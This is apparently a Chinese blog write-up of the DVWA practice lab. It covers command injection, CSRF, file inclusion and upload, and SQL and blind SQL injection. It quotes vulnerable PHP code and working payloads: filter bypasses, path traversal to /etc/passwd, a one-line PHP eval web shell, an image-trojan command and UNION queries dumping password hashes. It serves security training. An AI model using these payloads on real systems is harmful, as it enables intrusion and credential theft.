DVWA靶场

发布于 2024-04-25  523 次阅读


在大佬推荐下做做DVWA靶场


关于:

命令注入攻击的目的是在易受攻击的应用程序中注入并执行攻击者指定的命令。在这种情况下,执行不需要的系统命令的应用程序就像一个伪系统shell,攻击者可以像任何授权的系统用户一样使用它。然而,命令是以与web服务相同的权限和环境执行的。

在大多数情况下,由于缺乏正确的输入数据验证,攻击者可以操纵(表单、cookies、HTTP头等),因此可能会发生命令注入攻击。

根据所需的操作,操作系统(如Linux和Windows)之间的语法和命令可能会有所不同。

这种攻击也可能被称为“远程命令执行(RCE)”。

目标

通过远程命令执行,找出Web服务在操作系统上的用户以及机器的主机名。

<?php

if( isset( $_POST[ 'Submit' ]  ) ) { // 检查是否通过POST方法提交了名为"Submit"的表单数据
    // Get input
    $target = $_REQUEST[ 'ip' ]; // 获取用户输入的目标IP地址,存储在$target变量中

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // 使用php_uname('s')函数获取当前操作系统的名称,并使用stristr()函数判断是否为Windows系统
        // Windows
        $cmd = shell_exec( 'ping  ' . $target ); // 如果是Windows系统,则执行shell_exec('ping  ' . $target)命令进行ping操作
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); // 否则,执行shell_exec('ping  -c 4 ' . $target)命令进行ping操作,其中-c 4表示发送4个ICMP回显请求
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>"; // 将执行结果以HTML格式输出到页面上,使用<pre>标签保留原始格式
}

?>

输入127.0.0.1,发现返回的数据和我们在cmd命令行里面执行ping 127.0.0.1的结果相似。网页端由于编码的问题所以有些是乱码

我们可以使用命令连接符 拼接简单命令验证
& :前面一个命令无论是否执行,后面的命令都能执行,两个命令都执行
&&:前面一个命令执行成功后,才能执行后面一个命令,两个命令都执行
|:前面一个命令无论是否执行,后面的命令都能执行且只执行后面一个
||:前面一个命令不能正常执行后,才能执行后面一个命令

得到主机名和用户

<?php

if( isset( $_POST[ 'Submit' ]  ) ) { // 检查是否通过POST方法提交了名为"Submit"的表单数据
    // Get input
    $target = $_REQUEST[ 'ip' ]; // 获取用户输入的目标IP地址,存储在$target变量中

    // Set blacklist
    $substitutions = array(
        '&&' => '', // 将双与符号(&&)替换为空字符串
        ';'  => '', // 将分号(;)替换为空字符串
    );

    // Remove any of the characters in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // 使用str_replace函数将目标IP地址中的黑名单字符进行替换

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows
        $cmd = shell_exec( 'ping  ' . $target ); 
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>"; // 将执行结果以HTML格式输出到页面上,使用<pre>标签保留原始格式
}

?>

发现在Low等级源码的基础上添加了一个黑名单,把‘&&’字符和‘;’字符过滤掉了,但我们可以使用黑名单之外的命令连接符继续命令注入

<?php

if( isset( $_POST[ 'Submit' ]  ) ) { // 检查是否通过POST方法提交了名为"Submit"的表单数据
    // Get input
    $target = trim($_REQUEST[ 'ip' ]); // 获取用户输入的目标IP地址,并使用trim()函数去除首尾空格,存储在$target变量中

    // Set blacklist
    $substitutions = array(
        '&'  => '', // 将与符号(&)替换为空字符串
        ';'  => '', // 将分号(;)替换为空字符串
        '| ' => '', // 将竖线和空格(| )替换为空字符串
        '-'  => '', // 将连字符(-)替换为空字符串
        '$'  => '', // 将美元符号($)替换为空字符串
        '('  => '', // 将左括号(()替换为空字符串
        ')'  => '', // 将右括号())替换为空字符串
        '`'  => '', // 将反引号(`)替换为空字符串
        '||' => '', // 将双竖线(||)替换为空字符串
    );

    // Remove any of the characters in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // 使用str_replace函数将目标IP地址中的黑名单字符进行替换

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows
        $cmd = shell_exec( 'ping  ' . $target ); 
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>"; 
}

?>

查看代码 发现黑名单更完善了
但是仔细看上面转义的字符 发现 | 后面有个空格
继续使用'|'进行注入


关于

CSRF(跨站请求伪造),全称为Cross-site request forgery,简单来说,是攻击者利用受害者尚未失效的身份认证信息,诱骗受害者点击恶意链接或含有攻击代码的页面,在受害者不知情的情况下以受害者的身份像服务器发起请求,从而实现非法攻击(改密)通过一些社交工程的帮助(例如通过电子邮件/聊天发送链接),攻击者可以强制网页应用的用户执行攻击者选择的操作。

成功的CSRF攻击可能会危害终端用户的数据和操作,如果目标终端用户是管理员账户,这可能会危害整个网页应用。

这种攻击也可能被称为"XSRF",类似于"跨站脚本(XSS)",它们经常一起使用。

目标

你的任务是使当前用户更改他们自己的密码,而他们并不知道自己的行为,使用CSRF攻击。

<?php

// 检查是否存在名为'Change'的GET参数
if( isset( $_GET[ 'Change' ] ) ) {
    // 获取用户输入的新密码和确认密码
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // 检查新密码和确认密码是否匹配
    if( $pass_new == $pass_conf ) {
        // 如果匹配,对新密码进行转义处理
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        // 对新密码进行MD5哈希处理
        $pass_new = md5( $pass_new );

        // 更新数据库中的用户密码
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // 向用户显示密码更改成功的反馈信息
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // 如果密码不匹配,向用户显示错误信息
        echo "<pre>Passwords did not match.</pre>";
    }

    // 关闭数据库连接
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

通过GET方式获取两次密码,$pass_new与$pass_conf相同 就能修改密码 没有任何防护

先来做个尝试把密码改为123456

测试一下原来的密码,和修改后的密码

admin密码错误说明我们修改成功了,接下来试一下123456

经过上面的尝试发现可以成功修改账号密码,而且我们发现了URL那里的变化,那是不是说明如果我能控制url栏里传入的参数,就能够不在网站内执行更改密码的操作呢?

构造URL:
http://192.168.0.109:8001/DVWA/vulnerabilities/csrf/?password_new=456789&password_conf=456789&Change=Change#

在新标签内放入设置好的url,点击执行

页面跳转到了dvwa的更改密码界面,csrf攻击成功

网站的本意是在网站内更改密码,而我通过控制url的传参就能使我能在网站之外执行更改密码的操作,那么当我知道一个网站有csrf漏洞后也可以通过构造url的方式诱导别人点击这个网址就可以更改密码

<?php

// 检查是否设置了 'Change' 参数
if( isset( $_GET[ 'Change' ] ) ) {
    // 检查请求是否来自可信来源
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // 获取输入的新密码和确认密码
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // 检查新密码和确认密码是否匹配
        if( $pass_new == $pass_conf ) {
            // 密码匹配!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // 更新数据库中的密码
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // 给用户反馈密码已更改
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // 密码不匹配的问题
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // 请求不是来自可信来源
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

和Low等级比较发现,只有一处改变,即在传入密码和确认密码参数前先进行了一个if语句的判断,判断里面的内容主要是验证这个访问请求是否是从dwva网站本身发起的,若不是就不执行后面的操作

HTTP_REFERER表示数据包中的referer字段数据包的来源链接
SERVER_NAME表示数据包中的host 访问的主机地址

源码是通过referrer这个字段的参数进行判断的,我们通过抓包看看信息,复制这个Referer
Referer: http://192.168.0.109:8001/DVWA/vulnerabilities/csrf/

回到网页上 在url上面修改密码 然后抓包 发现少了 Referer

在数据包中添加Referer后放出

修改成功


File Inclusion(文件包含),是指当服务器开启了allow_url_include选项时,通过一些PHP的特性函数(比如:include(),require(),include_once()和require_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含分类

本地文件包含:当被包含的文件在本地服务器时,就叫做本地文件包含

例:../../../../../etc/passwd

远程文件包含:当被包含的文件在第三方服务器时,就叫做远程文件包含

例:http://www.baidu.com 可以直接打开百度

访问页面,显示allow_url_include 没有开启,我们可以在配置里面开启

注意:
需要改的不是DVWA文件夹下的php.ini,而是你安装的php的php.ini。

由于我使用的是PHPstudy,找到所使用的php版本号所在文件夹,修改php.ini中的allow_url_include为On,错误得到解决。

<?php
// 从URL的查询参数中获取名为'page'的值,并将其存储在变量$file中
$file = $_GET[ 'page' ];
//直接获取page参数,未做任何过滤
?>

通过访问1.php,2.php, 3.php会返回不通的内容,同时会将文件名传参给page参数

没有做任何过滤,通过 get 方式提交,尝试读取其他文件

成功读取了file4.php

尝试访问phpinfo.php(本地包含)

在试试包含我的博客页面

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
//将参数中的http:// https:// ../ ..\都替换成空字符
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?> 

发现增加了str_replace()函数,将http://,https://,../,..\,替换为空字符,可以考虑双写绕过

过滤前
....//....//

过滤后
../../

过滤前
hhttp://ttp://www.baidu.com

过滤后
http://www.baidu.com

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
//文件必须以file开始,或者是include.php
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {  
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

使用伪协议:file://  (访问本地文件系统)
文章参考:
文件包含-伪协议_filert-CSDN博客

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only alLow include.php or file{1..3}.php
//file变量只能为include.php、file1、file2、file3其中一个
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

Impossible难度的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。


关于

文件上传对 Web 应用程序构成了显著的风险。许多攻击的第一步是将一些代码上传到目标系统。然后,攻击者只需找到执行代码的方法。利用文件上传有助于攻击者完成第一步。

不受限制的文件上传可能带来的后果各不相同,包括完全接管系统、文件系统超载、将攻击转发到后端系统,以及简单的篡改。这取决于应用程序对上传文件的处理方式,包括文件存储的位置。

目标

利用这个文件上传漏洞,在目标系统上执行你选择的任何 PHP 函数(例如 phpinfo()system())。

<?php

// 检查是否有文件上传请求
if( isset( $_POST[ 'Upload' ] ) ) {
    // 定义目标路径,即我们将要保存上传文件的位置
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; // 基础路径
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // 添加上传文件的原始文件名

    // 尝试将文件移动到上传文件夹
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // 如果移动失败,显示错误信息
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // 如果移动成功,显示成功信息和文件路径
        echo "<pre>{$target_path} successfully uploaded!</pre>";
    }
}

?>

从源码中可以看到对上传文件的类型、内容没有做任何的过滤与检查,同时告诉了我们文件上传的路径,存在明显的文件上传漏洞

我们准备一个一句话木马文件

<?php @eval($_POST['a']); phpinfo();?>

当我们上传成功后,会提示我们成功上传,并且返回一个上传文件的路径

打开我们所上传的文件

<?php

// 检查是否有文件上传请求
if( isset( $_POST[ 'Upload' ] ) ) {
    // 定义目标路径,即我们将要保存上传文件的位置
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; // 基础路径
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // 添加上传文件的原始文件名

    // 获取上传文件的信息
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; // 文件名
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; // 文件类型
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // 文件大小

    // 检查文件是否为图片(JPEG 或 PNG)且大小小于 100KB
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // 尝试将文件移动到上传文件夹
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // 如果移动失败,显示错误信息
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // 如果移动成功,显示成功信息和文件路径
            echo "<pre>{$target_path} successfully uploaded!</pre>";
        }
    }
    else {
        // 如果文件无效,显示错误信息
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images, and the size must be less than 100KB.</pre>';
    }
}

?>

我们发现这一关对文件格式进行了限制,要求必须是jpeg、png,文件要小于100000B

还是使用刚才的shell.php(把刚才上传的那个记得删掉)

使用bu抓包,然后修改一下

成功上传php文件,接下来进行验证

<?php

// 检查是否有文件上传请求
if( isset( $_POST[ 'Upload' ] ) ) {
    // 定义目标路径,即我们将要保存上传文件的位置
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; // 基础路径
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // 添加上传文件的原始文件名

    // 获取上传文件的信息
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; // 文件名
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); // 文件扩展名
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // 文件大小
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // 临时存储路径

    // 检查文件是否为图片(JPEG 或 PNG),文件大小小于 100KB,并且是有效的图片文件
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // 尝试将文件移动到上传文件夹
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // 如果移动失败,显示错误信息
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // 如果移动成功,显示成功信息和文件路径
            echo "<pre>{$target_path} successfully uploaded!</pre>";
        }
    }
    else {
        // 如果文件无效,显示错误信息
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

查看源码 发现只能上传后缀是 .jpg .png .jpeg 的文件

这里可以用文件上传+文件包含漏洞

先制作一个图片马(注意:图片马的文件大小不能超过100000B)

在文件中放入 php一句话木马文件 和 一张照片然后 cmd 后 回车 到该文件目录下 使用下面命令

copy 1.png/b +shell.php /a phpinfo.png

将生成的phpinfo.png上传上去

打开上传的图片马,可以看到上传成功

使用文件包含漏洞, 去包含我们上传的文件,成功解析

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // 调用 checkToken 函数,检查用户提交的 CSRF 令牌与会话中的令牌是否匹配,防止 CSRF 攻击。
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 获取上传文件的名称、扩展名、大小、类型和临时存储路径。
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

     // 定义目标路径,即我们将要保存上传文件的位置
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    // 使用 md5 和 uniqid 生成唯一文件名
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    // 获取系统临时目录
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    // 在系统临时目录中生成唯一临时文件名
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // 检查文件是否为图片(JPEG 或 PNG),文件大小小于 100KB,并且是有效的图片文件
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // 重新编码图片文件,去除任何元数据 (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // 尝试移动文件
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes! 显示成功信息和文件链接
            echo "<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No 显示错误信息
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // 删除任何临时文件
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // 如果文件无效,显示错误信息
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// 调用 generateSessionToken 函数生成新的 CSRF 令牌,防止 CSRF 攻击。
generateSessionToken();

?>

主要功能

  1. 文件上传处理:接受用户上传的文件,并将其保存到指定的服务器目录中。
  2. 安全检查
    • Anti-CSRF 保护:使用 Anti-CSRF 令牌机制,防止跨站请求伪造(CSRF)攻击。
    • 文件类型和大小验证:检查文件类型是否为JPEG或PNG,并确保文件大小小于100KB。
    • 图片有效性检查:使用 getimagesize 函数验证文件是否为有效的图片。
  3. 元数据清除:通过重新编码图片文件,去除任何可能存在的元数据,增强安全性。
  4. 生成唯一文件名:使用 md5uniqid 生成唯一的文件名,避免文件名冲突。
  5. 移动和保存文件:将文件从临时目录移动到目标上传目录,并在完成后删除临时文件。

具体用途

  • 防止文件上传漏洞:通过严格的文件类型和大小检查,以及重新编码图片文件,有效防止文件上传漏洞,避免恶意文件上传可能导致的安全问题。
  • 确保文件唯一性:生成唯一文件名,避免同名文件覆盖的问题。
  • 增强图片文件安全性:通过去除图片文件的元数据,防止隐藏在元数据中的恶意代码。

总结

这段代码的主要目的是在处理用户上传图片时提供多层次的安全防护措施,确保上传的文件是安全的图片文件,避免常见的安全问题如CSRF攻击、文件上传漏洞和元数据中的恶意代码。



SQL注入攻击包括通过客户端到应用程序的输入数据插入或“注入”SQL查询。成功的SQL注入攻击可以从数据库读取敏感数据,修改数据库数据(插入/更新/删除),在数据库上执行管理操作(例如关闭DBMS),从DBMS文件系统中恢复给定文件的内容(load_file),在某些情况下还可以向操作系统发出命令。

SQL注入攻击是一种注入攻击类型,其中SQL命令被注入到数据平面输入中,以执行预定义的SQL命令。

这种攻击也可能被称为“SQLi”。

目标
数据库中有5个用户,其ID从1到5。你的任务...是通过SQLi窃取他们的密码

User ID 2 的结果与 2-1 相同,说明不存在数字型注入

尝试2' 发现报错

尝试2' #页面重新显示内容

说明存在字符型注入,且单引号闭合
判断字段数
2' order by 5 #

2' order by 3 #

2' order by 2#

重新显示内容,字段数为2
联合注入判断回显点

2' union select 1,2 #

尝试获取数据库名,版本号

-2' union select database(),version() #

获取表名

-2' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

获取users表字段名

-2' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #

查询users表的password和user 字段内容

-2' union select group_concat(user),group_concat(password) from users #

上图就是数据库表中信息了,密码是通过MD5加密,在网上搜索MD5解密工具线上解密就可以了。
SQL注入完成

选择不同的ID显示对应的name,并且没有在URL中传参,用Hackbar查看发现是post传参

判断类型

由于id=2和id=2-1返回了不同的结果,这可能意味着存在数字型注入点。

使用二分法判断字段(order by   5,3,2),最终判断存在2个字段

1 order by 5 
1 order by 3 
1 order by 2 

联合注入判断回显点

获取当前数据库

获取数据库中的表

获取users表中的字段名

id=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

发现单引号被转义,变成了 \’ ,由于MySQL默认支持16进制编解码,故对users进行16进制编码

  1. 获取表中数据
-2 union select group_concat(user_id,first_name,last_name),group_concat(password) from users 

high 级别使用了session 获取id 值,闭合方式单引号闭合。
注入的过程与Low级别基本一样,直接到最后一步获取表中内容:

2' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

SQL Injection(Blind),SQL盲注,相比于常规的SQL注入,他不会将返回具体的数据信息或语法信息,只会将服务器包装后的信息返回到页面中,甚至连注入语句是否执行都无法得知。

盲注的一般流程:

1、判断是否存在注入、注入是字符型还是数字型
2、猜解当前数据库名
3、猜解数据库中的表名
4、猜解表中的字段名
5、猜解数据

1)首先找到注入点,判断注入的类型

输入 1 显示存在:
表示正常查询条件,返回“存在”。

输入 1 and 1=1 显示存在:
1=1总是为真,整个表达式为真,所以返回“存在”。

输入 1 and 1=2 显示存在:
即使 1=2 为假,整个表达式仍然返回“存在”,表明没有布尔盲注效果,可能只是简单地忽略了后面的条件。

输入 1' and 1=1 # 显示存在:
这表明注入点接受字符型输入,并且 ' 符号成功关闭了字符串,然后 and 1=1 为真,返回“存在”

输入 1' and 1=2 # 显示不存在:
' 符号成功闭合了字符串,然后 and 1=2 为假,返回“不存在”。

这些测试结果表明注入点存在字符型SQL注入。

2)判断数据库的长度

依次输入1' and length(database())=x #(x为大于等于1的整数)

1’ and length(database())=1#   
1’ and length(database())=2#
1’ and length(database())=3#
1’ and length(database())=4#

发现当x=4时显示存在,故数据库长度为4,之前我们知道数据库名字是“dvwa”,所以长度为4

3)二分法找数据库名









後悔しない
最后更新于 2024-06-28